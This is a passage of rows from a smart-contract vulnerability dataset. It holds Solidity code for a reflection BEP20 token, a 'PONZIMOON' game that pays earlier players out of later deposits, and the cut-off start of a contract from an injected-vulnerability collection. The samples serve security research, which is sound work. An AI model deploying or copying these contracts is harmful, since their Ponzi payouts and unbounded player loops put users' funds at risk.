function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x800CE8909C032bDc4447b7c84b0CFBD25BCC8C4c, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 250,851 | 11,758 |
07026ef462c020c303ac0036859f72e2966340b44586a68e5ee24c16315d2fcd
| 26,788 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1cfc329dfce1cea11caeedcbb766078fceaebe55.sol
| 7,740 | 25,678 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title PONZIMOON
contract ponzimoon is owned {
using SafeMath for uint256;
Spaceship[] spaceships;
Player[] players;
mapping(address => uint256) addressMPid;
mapping(uint256 => address) pidXAddress;
mapping(string => uint256) nameXPid;
uint256 playerCount;
uint256 totalTicketCount;
uint256 airdropPrizePool;
uint256 moonPrizePool;
uint256 lotteryTime;
uint256 editPlayerNamePrice = 0.01 ether;
uint256 spaceshipPrice = 0.01 ether;
uint256 addSpaceshipPrice = 0.00000001 ether;
address maxAirDropAddress;
uint256 maxTotalTicket;
uint256 round;
uint256 totalDividendEarnings;
uint256 totalEarnings;
uint256 luckyPayerId;
struct Spaceship {
uint256 id;
string name;
uint256 speed;
address captain;
uint256 ticketCount;
uint256 dividendRatio;
uint256 spaceshipPrice;
uint256 addSpeed;
}
struct Player {
address addr;
string name;
uint256 earnings;
uint256 ticketCount;
uint256 dividendRatio;
uint256 distributionEarnings;
uint256 dividendEarnings;
uint256 withdrawalAmount;
uint256 parentId;
uint256 dlTicketCount;
uint256 xzTicketCount;
uint256 jcTicketCount;
}
constructor() public {
lotteryTime = now + 12 hours;
round = 1;
spaceships.push(Spaceship(0, "dalao", 100000, msg.sender, 0, 20, 15 ether, 2));
spaceships.push(Spaceship(1, "xiaozhuang", 100000, msg.sender, 0, 50, 15 ether, 5));
spaceships.push(Spaceship(2, "jiucai", 100000, msg.sender, 0, 80, 15 ether, 8));
uint256 playerArrayIndex = players.push(Player(msg.sender, "system", 0, 0, 3, 0, 0, 0, 0, 0, 0, 0));
addressMPid[msg.sender] = playerArrayIndex;
pidXAddress[playerArrayIndex] = msg.sender;
playerCount = players.length;
nameXPid["system"] = playerArrayIndex;
}
function getSpaceship(uint256 _spaceshipId) public view returns (uint256 _id,
string _name,
uint256 _speed,
address _captain,
uint256 _ticketCount,
uint256 _dividendRatio,
uint256 _spaceshipPrice){
_id = spaceships[_spaceshipId].id;
_name = spaceships[_spaceshipId].name;
_speed = spaceships[_spaceshipId].speed;
_captain = spaceships[_spaceshipId].captain;
_ticketCount = spaceships[_spaceshipId].ticketCount;
_dividendRatio = spaceships[_spaceshipId].dividendRatio;
_spaceshipPrice = spaceships[_spaceshipId].spaceshipPrice;
}
function getNowTime() public view returns (uint256){
return now;
}
function checkName(string _name) public view returns (bool){
if (nameXPid[_name] == 0) {
return false;
}
return true;
}
function setYxName(address _address, string _name) external onlyOwner {
if (addressMPid[_address] == 0) {
uint256 playerArrayIndex = players.push(Player(_address, _name, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0));
addressMPid[_address] = playerArrayIndex;
pidXAddress[playerArrayIndex] = _address;
playerCount = players.length;
nameXPid[_name] = playerArrayIndex;
} else {
uint256 _pid = addressMPid[_address];
Player storage _p = players[_pid.sub(1)];
_p.name = _name;
nameXPid[_name] = _pid;
}
}
function setName(string _name) external payable {
require(msg.value >= editPlayerNamePrice);
if (addressMPid[msg.sender] == 0) {
uint256 playerArrayIndex = players.push(Player(msg.sender, _name, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0));
addressMPid[msg.sender] = playerArrayIndex;
pidXAddress[playerArrayIndex] = msg.sender;
playerCount = players.length;
nameXPid[_name] = playerArrayIndex;
} else {
uint256 _pid = addressMPid[msg.sender];
Player storage _p = players[_pid.sub(1)];
_p.name = _name;
nameXPid[_name] = _pid;
}
Player storage _sysP = players[0];
_sysP.earnings = _sysP.earnings.add(msg.value);
_sysP.distributionEarnings = _sysP.distributionEarnings.add(msg.value);
}
function _computePayMoney(uint256 _ticketCount, address _addr) private view returns (bool){
uint256 _initMoney = 0.01 ether;
uint256 _eachMoney = 0.0001 ether;
uint256 _payMoney = (spaceshipPrice.mul(_ticketCount)).add(addSpaceshipPrice.mul((_ticketCount.sub(1))));
_payMoney = _payMoney.sub((_eachMoney.mul(_ticketCount)));
uint256 _tmpPid = addressMPid[_addr];
Player memory _p = players[_tmpPid.sub(1)];
if (_p.earnings >= (_initMoney.mul(_ticketCount)) && _p.earnings >= _payMoney) {
return true;
}
return false;
}
function checkTicket(uint256 _ticketCount, uint256 _money) private view returns (bool){
uint256 _initMoney = 0.01 ether;
uint256 _eachMoney = 0.0001 ether;
uint256 _payMoney = (spaceshipPrice.mul(_ticketCount)).add(addSpaceshipPrice.mul((_ticketCount.sub(1))));
_payMoney = _payMoney.sub((_eachMoney.mul(_ticketCount)));
if (_money >= (_initMoney.mul(_ticketCount)) && _money >= _payMoney) {
return true;
}
return false;
}
function checkNewPlayer(address _player) private {
if (addressMPid[_player] == 0) {
uint256 playerArrayIndex = players.push(Player(_player, "", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0));
addressMPid[_player] = playerArrayIndex;
pidXAddress[playerArrayIndex] = _player;
playerCount = players.length;
}
}
function addTicket(uint256 _ticketCount, uint256 _spaceshipNo, uint256 _pid) private {
spaceshipPrice = spaceshipPrice.add(addSpaceshipPrice.mul(_ticketCount));
totalTicketCount = totalTicketCount.add(_ticketCount);
Player storage _p = players[_pid.sub(1)];
_p.ticketCount = _p.ticketCount.add(_ticketCount);
if (_spaceshipNo == 0) {
_p.dlTicketCount = _p.dlTicketCount.add(_ticketCount);
Spaceship storage _s = spaceships[0];
_s.ticketCount = _s.ticketCount.add(_ticketCount);
_s.speed = _s.speed.add(_ticketCount.mul(_s.addSpeed));
}
if (_spaceshipNo == 1) {
_p.xzTicketCount = _p.xzTicketCount.add(_ticketCount);
Spaceship storage _s1 = spaceships[1];
_s1.ticketCount = _s1.ticketCount.add(_ticketCount);
_s1.speed = _s1.speed.add(_ticketCount.mul(_s1.addSpeed));
}
if (_spaceshipNo == 2) {
_p.jcTicketCount = _p.jcTicketCount.add(_ticketCount);
Spaceship storage _s2 = spaceships[2];
_s2.ticketCount = _s2.ticketCount.add(_ticketCount);
_s2.speed = _s2.speed.add(_ticketCount.mul(_s2.addSpeed));
}
}
function _payTicketByEarnings(uint256 _ticketCount, address _addr) private returns (uint256){
uint256 _tmpPid = addressMPid[_addr];
Player storage _p = players[_tmpPid.sub(1)];
uint256 _tmpMoney = spaceshipPrice.mul(_ticketCount);
uint256 _tmpMoney2 = addSpaceshipPrice.mul(_ticketCount.sub(1));
uint256 _returnMoney = _tmpMoney.add(_tmpMoney2);
_p.earnings = _p.earnings.sub(_returnMoney);
return _returnMoney;
}
function buyTicketByEarnings(uint256 _ticketCount, uint256 _spaceshipNo, string _name) external {
require(now < lotteryTime);
require(_spaceshipNo == 0 || _spaceshipNo == 1 || _spaceshipNo == 2);
require(addressMPid[msg.sender] != 0);
require(_computePayMoney(_ticketCount, msg.sender));
updateTime();
uint256 _money = _payTicketByEarnings(_ticketCount, msg.sender);
totalEarnings = totalEarnings.add(_money);
Player storage _p = players[addressMPid[msg.sender].sub(1)];
if (_p.parentId == 0 && nameXPid[_name] != 0) {
_p.parentId = nameXPid[_name];
}
luckyPayerId = addressMPid[msg.sender];
addTicket(_ticketCount, _spaceshipNo, addressMPid[msg.sender]);
addSpaceshipMoney(_money.div(100).mul(5));
Player storage _player = players[0];
uint256 _SysMoney = _money.div(100).mul(3);
_player.earnings = _player.earnings.add(_SysMoney);
_player.dividendEarnings = _player.dividendEarnings.add(_SysMoney);
uint256 _distributionMoney = _money.div(100).mul(10);
if (_p.parentId == 0) {
_player.earnings = _player.earnings.add(_distributionMoney);
_player.distributionEarnings = _player.distributionEarnings.add(_distributionMoney);
} else {
Player storage _player_ = players[_p.parentId.sub(1)];
_player_.earnings = _player_.earnings.add(_distributionMoney);
_player_.distributionEarnings = _player_.distributionEarnings.add(_distributionMoney);
}
if (_ticketCount > maxTotalTicket) {
maxTotalTicket = _ticketCount;
maxAirDropAddress = msg.sender;
}
uint256 _airDropMoney = _money.div(100).mul(2);
airdropPrizePool = airdropPrizePool.add(_airDropMoney);
if (airdropPrizePool >= 1 ether) {
Player storage _playerAirdrop = players[addressMPid[maxAirDropAddress].sub(1)];
_playerAirdrop.earnings = _playerAirdrop.earnings.add(airdropPrizePool);
_playerAirdrop.dividendEarnings = _playerAirdrop.dividendEarnings.add(airdropPrizePool);
airdropPrizePool = 0;
}
uint256 _remainderMoney = _cMoney(_money, _SysMoney, _distributionMoney, _airDropMoney);
updateGameMoney(_remainderMoney, _spaceshipNo, _ticketCount, addressMPid[msg.sender].sub(1));
}
function _cMoney(uint256 _money, uint256 _SysMoney, uint256 _distributionMoney, uint256 _airDropMoney)
private pure returns (uint256){
uint256 _czSpaceshipMoney = _money.div(100).mul(5).mul(3);
return _money.sub(_czSpaceshipMoney).sub(_SysMoney).
sub(_distributionMoney).sub(_airDropMoney);
}
function updateTime() private {
if (totalTicketCount < 50000) {
lotteryTime = now + 12 hours;
} else {
lotteryTime = now + 1 hours;
}
}
function buyTicket(uint256 _ticketCount, uint256 _spaceshipNo, string _name) external payable {
require(now < lotteryTime);
require(_spaceshipNo == 0 || _spaceshipNo == 1 || _spaceshipNo == 2);
require(checkTicket(_ticketCount, msg.value));
checkNewPlayer(msg.sender);
updateTime();
totalEarnings = totalEarnings.add(msg.value);
Player storage _p = players[addressMPid[msg.sender].sub(1)];
if (_p.parentId == 0 && nameXPid[_name] != 0) {
_p.parentId = nameXPid[_name];
}
luckyPayerId = addressMPid[msg.sender];
addTicket(_ticketCount, _spaceshipNo, addressMPid[msg.sender]);
addSpaceshipMoney(msg.value.div(100).mul(5));
Player storage _player = players[0];
uint256 _SysMoney = msg.value.div(100).mul(3);
_player.earnings = _player.earnings.add(_SysMoney);
_player.dividendEarnings = _player.dividendEarnings.add(_SysMoney);
uint256 _distributionMoney = msg.value.div(100).mul(10);
if (_p.parentId == 0) {
_player.earnings = _player.earnings.add(_distributionMoney);
_player.distributionEarnings = _player.distributionEarnings.add(_distributionMoney);
} else {
Player storage _player_ = players[_p.parentId.sub(1)];
_player_.earnings = _player_.earnings.add(_distributionMoney);
_player_.distributionEarnings = _player_.distributionEarnings.add(_distributionMoney);
}
if (_ticketCount > maxTotalTicket) {
maxTotalTicket = _ticketCount;
maxAirDropAddress = msg.sender;
}
uint256 _airDropMoney = msg.value.div(100).mul(2);
airdropPrizePool = airdropPrizePool.add(_airDropMoney);
if (airdropPrizePool >= 1 ether) {
Player storage _playerAirdrop = players[addressMPid[maxAirDropAddress].sub(1)];
_playerAirdrop.earnings = _playerAirdrop.earnings.add(airdropPrizePool);
_playerAirdrop.dividendEarnings = _playerAirdrop.dividendEarnings.add(airdropPrizePool);
airdropPrizePool = 0;
}
uint256 _remainderMoney = msg.value.sub((msg.value.div(100).mul(5)).mul(3)).sub(_SysMoney).
sub(_distributionMoney).sub(_airDropMoney);
updateGameMoney(_remainderMoney, _spaceshipNo, _ticketCount, addressMPid[msg.sender].sub(1));
}
function getFhMoney(uint256 _spaceshipNo, uint256 _money, uint256 _ticketCount, uint256 _targetNo) private view returns (uint256){
Spaceship memory _fc = spaceships[_spaceshipNo];
if (_spaceshipNo == _targetNo) {
uint256 _Ticket = _fc.ticketCount.sub(_ticketCount);
if (_Ticket == 0) {
return 0;
}
return _money.div(_Ticket);
} else {
if (_fc.ticketCount == 0) {
return 0;
}
return _money.div(_fc.ticketCount);
}
}
function updateGameMoney(uint256 _money, uint256 _spaceshipNo, uint256 _ticketCount, uint256 _arrayPid) private {
uint256 _lastMoney = addMoonPrizePool(_money, _spaceshipNo);
uint256 _dlMoney = _lastMoney.div(100).mul(53);
uint256 _xzMoney = _lastMoney.div(100).mul(33);
uint256 _jcMoney = _lastMoney.sub(_dlMoney).sub(_xzMoney);
uint256 _dlFMoney = getFhMoney(0, _dlMoney, _ticketCount, _spaceshipNo);
uint256 _xzFMoney = getFhMoney(1, _xzMoney, _ticketCount, _spaceshipNo);
uint256 _jcFMoney = getFhMoney(2, _jcMoney, _ticketCount, _spaceshipNo);
_fhMoney(_dlFMoney, _xzFMoney, _jcFMoney, _arrayPid, _spaceshipNo, _ticketCount);
}
function _fhMoney(uint256 _dlFMoney, uint256 _xzFMoney, uint256 _jcFMoney, uint256 arrayPid, uint256 _spaceshipNo, uint256 _ticketCount) private {
for (uint i = 0; i < players.length; i++) {
Player storage _tmpP = players[i];
uint256 _totalMoney = 0;
if (arrayPid != i) {
_totalMoney = _totalMoney.add(_tmpP.dlTicketCount.mul(_dlFMoney));
_totalMoney = _totalMoney.add(_tmpP.xzTicketCount.mul(_xzFMoney));
_totalMoney = _totalMoney.add(_tmpP.jcTicketCount.mul(_jcFMoney));
} else {
if (_spaceshipNo == 0) {
_totalMoney = _totalMoney.add((_tmpP.dlTicketCount.sub(_ticketCount)).mul(_dlFMoney));
} else {
_totalMoney = _totalMoney.add(_tmpP.dlTicketCount.mul(_dlFMoney));
}
if (_spaceshipNo == 1) {
_totalMoney = _totalMoney.add((_tmpP.xzTicketCount.sub(_ticketCount)).mul(_xzFMoney));
} else {
_totalMoney = _totalMoney.add(_tmpP.xzTicketCount.mul(_xzFMoney));
}
if (_spaceshipNo == 2) {
_totalMoney = _totalMoney.add((_tmpP.jcTicketCount.sub(_ticketCount)).mul(_jcFMoney));
} else {
_totalMoney = _totalMoney.add(_tmpP.jcTicketCount.mul(_jcFMoney));
}
}
_tmpP.earnings = _tmpP.earnings.add(_totalMoney);
_tmpP.dividendEarnings = _tmpP.dividendEarnings.add(_totalMoney);
}
}
function addMoonPrizePool(uint256 _money, uint256 _spaceshipNo) private returns (uint){
uint256 _tmpMoney;
if (_spaceshipNo == 0) {
_tmpMoney = _money.div(100).mul(80);
totalDividendEarnings = totalDividendEarnings.add((_money.sub(_tmpMoney)));
}
if (_spaceshipNo == 1) {
_tmpMoney = _money.div(100).mul(50);
totalDividendEarnings = totalDividendEarnings.add((_money.sub(_tmpMoney)));
}
if (_spaceshipNo == 2) {
_tmpMoney = _money.div(100).mul(20);
totalDividendEarnings = totalDividendEarnings.add((_money.sub(_tmpMoney)));
}
moonPrizePool = moonPrizePool.add(_tmpMoney);
return _money.sub(_tmpMoney);
}
function addSpaceshipMoney(uint256 _money) internal {
Spaceship storage _spaceship0 = spaceships[0];
uint256 _pid0 = addressMPid[_spaceship0.captain];
Player storage _player0 = players[_pid0.sub(1)];
_player0.earnings = _player0.earnings.add(_money);
_player0.dividendEarnings = _player0.dividendEarnings.add(_money);
Spaceship storage _spaceship1 = spaceships[1];
uint256 _pid1 = addressMPid[_spaceship1.captain];
Player storage _player1 = players[_pid1.sub(1)];
_player1.earnings = _player1.earnings.add(_money);
_player1.dividendEarnings = _player1.dividendEarnings.add(_money);
Spaceship storage _spaceship2 = spaceships[2];
uint256 _pid2 = addressMPid[_spaceship2.captain];
Player storage _player2 = players[_pid2.sub(1)];
_player2.earnings = _player2.earnings.add(_money);
_player2.dividendEarnings = _player2.dividendEarnings.add(_money);
}
function getPlayerInfo(address _playerAddress) public view returns (address _addr,
string _name,
uint256 _earnings,
uint256 _ticketCount,
uint256 _dividendEarnings,
uint256 _distributionEarnings,
uint256 _dlTicketCount,
uint256 _xzTicketCount,
uint256 _jcTicketCount){
uint256 _pid = addressMPid[_playerAddress];
Player storage _player = players[_pid.sub(1)];
_addr = _player.addr;
_name = _player.name;
_earnings = _player.earnings;
_ticketCount = _player.ticketCount;
_dividendEarnings = _player.dividendEarnings;
_distributionEarnings = _player.distributionEarnings;
_dlTicketCount = _player.dlTicketCount;
_xzTicketCount = _player.xzTicketCount;
_jcTicketCount = _player.jcTicketCount;
}
function addSystemUserEarnings(uint256 _money) private {
Player storage _player = players[0];
_player.earnings = _player.earnings.add(_money);
}
function withdraw() public {
require(addressMPid[msg.sender] != 0);
Player storage _player = players[addressMPid[msg.sender].sub(1)];
_player.addr.transfer(_player.earnings);
_player.withdrawalAmount = _player.withdrawalAmount.add(_player.earnings);
_player.earnings = 0;
_player.distributionEarnings = 0;
_player.dividendEarnings = 0;
}
function makeMoney() public {
require(now > lotteryTime);
moonPrizePool = moonPrizePool.add(airdropPrizePool);
uint256 _pMoney = moonPrizePool.div(2);
Player storage _luckyPayer = players[luckyPayerId.sub(1)];
_luckyPayer.earnings = _luckyPayer.earnings.add(_pMoney);
uint256 _nextMoonPrizePool = moonPrizePool.div(100).mul(2);
uint256 _luckyCaptainMoney = moonPrizePool.div(100).mul(5);
uint256 _luckyCrewMoney = moonPrizePool.sub(_nextMoonPrizePool).sub(_luckyCaptainMoney).sub(_pMoney);
uint256 _no1Spaceship = getFastestSpaceship();
Spaceship storage _s = spaceships[_no1Spaceship];
uint256 _pid = addressMPid[_s.captain];
Player storage _pPayer = players[_pid.sub(1)];
_pPayer.earnings = _pPayer.earnings.add(_luckyCaptainMoney);
uint256 _eachMoney = _getLuckySpaceshipMoney(_no1Spaceship, _luckyCrewMoney);
for (uint i = 0; i < players.length; i++) {
Player storage _tmpP = players[i];
if (_no1Spaceship == 0) {
_tmpP.earnings = _tmpP.earnings.add(_tmpP.dlTicketCount.mul(_eachMoney));
_tmpP.dividendEarnings = _tmpP.dividendEarnings.add(_tmpP.dlTicketCount.mul(_eachMoney));
}
if (_no1Spaceship == 1) {
_tmpP.earnings = _tmpP.earnings.add(_tmpP.xzTicketCount.mul(_eachMoney));
_tmpP.dividendEarnings = _tmpP.dividendEarnings.add(_tmpP.xzTicketCount.mul(_eachMoney));
}
if (_no1Spaceship == 2) {
_tmpP.earnings = _tmpP.earnings.add(_tmpP.jcTicketCount.mul(_eachMoney));
_tmpP.dividendEarnings = _tmpP.dividendEarnings.add(_tmpP.jcTicketCount.mul(_eachMoney));
}
_tmpP.dlTicketCount = 0;
_tmpP.xzTicketCount = 0;
_tmpP.jcTicketCount = 0;
_tmpP.ticketCount = 0;
}
_initSpaceship();
totalTicketCount = 0;
airdropPrizePool = 0;
moonPrizePool = _nextMoonPrizePool;
lotteryTime = now + 12 hours;
spaceshipPrice = 0.01 ether;
maxAirDropAddress = pidXAddress[1];
maxTotalTicket = 0;
round = round.add(1);
luckyPayerId = 1;
}
function _initSpaceship() private {
for (uint i = 0; i < spaceships.length; i++) {
Spaceship storage _s = spaceships[i];
_s.captain = pidXAddress[1];
_s.ticketCount = 0;
_s.spaceshipPrice = 15 ether;
_s.speed = 100000;
}
}
function _getLuckySpaceshipMoney(uint256 _spaceshipId, uint256 _luckyMoney) private view returns (uint256){
Spaceship memory _s = spaceships[_spaceshipId];
uint256 _eachLuckyMoney = _luckyMoney.div(_s.ticketCount);
return _eachLuckyMoney;
}
function getFastestSpaceship() private view returns (uint256){
Spaceship memory _dlSpaceship = spaceships[0];
Spaceship memory _xzSpaceship = spaceships[1];
Spaceship memory _jcSpaceship = spaceships[2];
uint256 _maxSpeed;
if (_jcSpaceship.speed >= _xzSpaceship.speed) {
if (_jcSpaceship.speed >= _dlSpaceship.speed) {
_maxSpeed = 2;
} else {
_maxSpeed = 0;
}
} else {
if (_xzSpaceship.speed >= _dlSpaceship.speed) {
_maxSpeed = 1;
} else {
_maxSpeed = 0;
}
}
return _maxSpeed;
}
function getGameInfo() public view returns (uint256 _totalTicketCount,
uint256 _airdropPrizePool,
uint256 _moonPrizePool,
uint256 _lotteryTime,
uint256 _nowTime,
uint256 _spaceshipPrice,
uint256 _round,
uint256 _totalEarnings,
uint256 _totalDividendEarnings){
_totalTicketCount = totalTicketCount;
_airdropPrizePool = airdropPrizePool;
_moonPrizePool = moonPrizePool;
_lotteryTime = lotteryTime;
_nowTime = now;
_spaceshipPrice = spaceshipPrice;
_round = round;
_totalEarnings = totalEarnings;
_totalDividendEarnings = totalDividendEarnings;
}
function _updateSpaceshipPrice(uint256 _spaceshipId) internal {
spaceships[_spaceshipId].spaceshipPrice = spaceships[_spaceshipId].spaceshipPrice.add(spaceships[_spaceshipId].spaceshipPrice.mul(3).div(10));
}
function campaignCaptain(uint _spaceshipId) external payable {
require(now < lotteryTime);
require(msg.value == spaceships[_spaceshipId].spaceshipPrice);
if (addressMPid[msg.sender] == 0) {
uint256 playerArrayIndex = players.push(Player(msg.sender, "", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0));
addressMPid[msg.sender] = playerArrayIndex;
pidXAddress[playerArrayIndex] = msg.sender;
playerCount = players.length;
}
spaceships[_spaceshipId].captain.transfer(msg.value);
spaceships[_spaceshipId].captain = msg.sender;
_updateSpaceshipPrice(_spaceshipId);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
// Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 217,810 | 11,759 |
9e05f4982f016e2a34e2a23de88e4779d98f392f2ff62058817d21ea0d148dee
| 35,916 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/txOriginForAuthentication/0x44364591c6186c1eb01885e4e0501d1e223ef29a_txOriginForAuthentication.sol
| 4,706 | 18,088 |
pragma solidity 0.5.14;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
